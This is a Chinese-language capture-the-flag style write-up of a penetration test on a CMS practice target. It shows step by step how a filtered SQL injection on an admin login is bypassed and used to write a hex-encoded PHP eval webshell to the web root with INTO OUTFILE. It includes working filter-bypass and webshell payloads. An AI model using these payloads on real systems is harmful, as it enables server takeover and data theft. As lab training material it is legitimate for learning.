渗透测试-CMS系统SQL传马

理论基础

SQL注入的手工注入需要自行构造PayLoad,先学习下相关SQL语法:

limit

渗透测试-CMS系统SQL传马_第1张图片渗透测试-CMS系统SQL传马_第2张图片

union

渗透测试-CMS系统SQL传马_第3张图片

攻击过程

墨者学院靶场链接
渗透测试-CMS系统SQL传马_第4张图片渗透测试-CMS系统SQL传马_第5张图片首先,上御剑扫描后台:
渗透测试-CMS系统SQL传马_第6张图片
找到后台管理员登录页面:
渗透测试-CMS系统SQL传马_第7张图片在用户名处输入“admin'",发现存在报错型SQL注入:
渗透测试-CMS系统SQL传马_第8张图片接下来进行SQL注入的利用,使用SQLMap发现无法跑出数据,只能手工注入了。为了避免每次都输入用户名、密码和验证码,使用BurpSuite抓包并发送到Repeater模块:
渗透测试-CMS系统SQL传马_第9张图片

注入绕过

尝试获取数据库名' union select 1,2,3,4,database() #(“#”为注释符号,注释掉目标Payload后面的SQL语句“’ limit 0,1”),结果发现 union 和 select 被后台过滤:
渗透测试-CMS系统SQL传马_第10张图片尝试使用双写绕过——“' uniunionon selselectect 1,2,3,4,database() #”,结果发现只有selselectect 起作用(成功转换为select)而uniunionon不起作用:
渗透测试-CMS系统SQL传马_第11张图片接着尝试使用空格来绕过过滤——“' uni union on selselectect 1,2,3,4,database() #”发现成功了,正常报错了:
渗透测试-CMS系统SQL传马_第12张图片综上,没法直接用以上PayLoad获得回显查看数据库名称,但是我们知道注入失败的时候是有回显的。所以我们用报错注入试一下“' a and nd extractvalue(1,concat(1,database()))#”(此处对于关键字“and”同样采用双写+空格绕过),发现可以爆出当前数据库:
渗透测试-CMS系统SQL传马_第13张图片可以(借助在BP响应包中右键选择“Request in browser”)将响应包放在浏览器中查看:
在这里插入图片描述

SQL传马

接下来准备利用SQL注入漏洞,直接上传一句话木马上去:admin'un union ion seselectlect 1,< ?php @eval($_post[cmd])?>,3,4,5 in into outoutfilefile '/var/www/html/shell.php' #(此处outfile同样得双写绕过),但是却发现“<>”两个尖括号被过滤了,木马上传不成功:
渗透测试-CMS系统SQL传马_第14张图片访问 http://219.153.49.228:49038/shell.php,显示文件不存在:
渗透测试-CMS系统SQL传马_第15张图片
使用16进制绕过,将一句话木马进行16进制编码,同时前面加上0x,这种方法也可以用在SQL注入传参时引号被限制的情况的绕过注入代码:admin'un union ion seselectlect 1,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b203f3e,3,4,5 in into outoutfilefile '/var/www/html/sbw.php'#
渗透测试-CMS系统SQL传马_第16张图片
渗透测试-CMS系统SQL传马_第17张图片访问 http://219.153.49.228:49038/sbw.php,显示文件上传成功:
渗透测试-CMS系统SQL传马_第18张图片
文件中的密文是“admin”账号的密码:
渗透测试-CMS系统SQL传马_第19张图片渗透测试-CMS系统SQL传马_第20张图片但是我们已经上传了WebShell,直接上Cknife连接:
渗透测试-CMS系统SQL传马_第21张图片
获得Key文件,攻击结束:
渗透测试-CMS系统SQL传马_第22张图片

你可能感兴趣的:(渗透测试)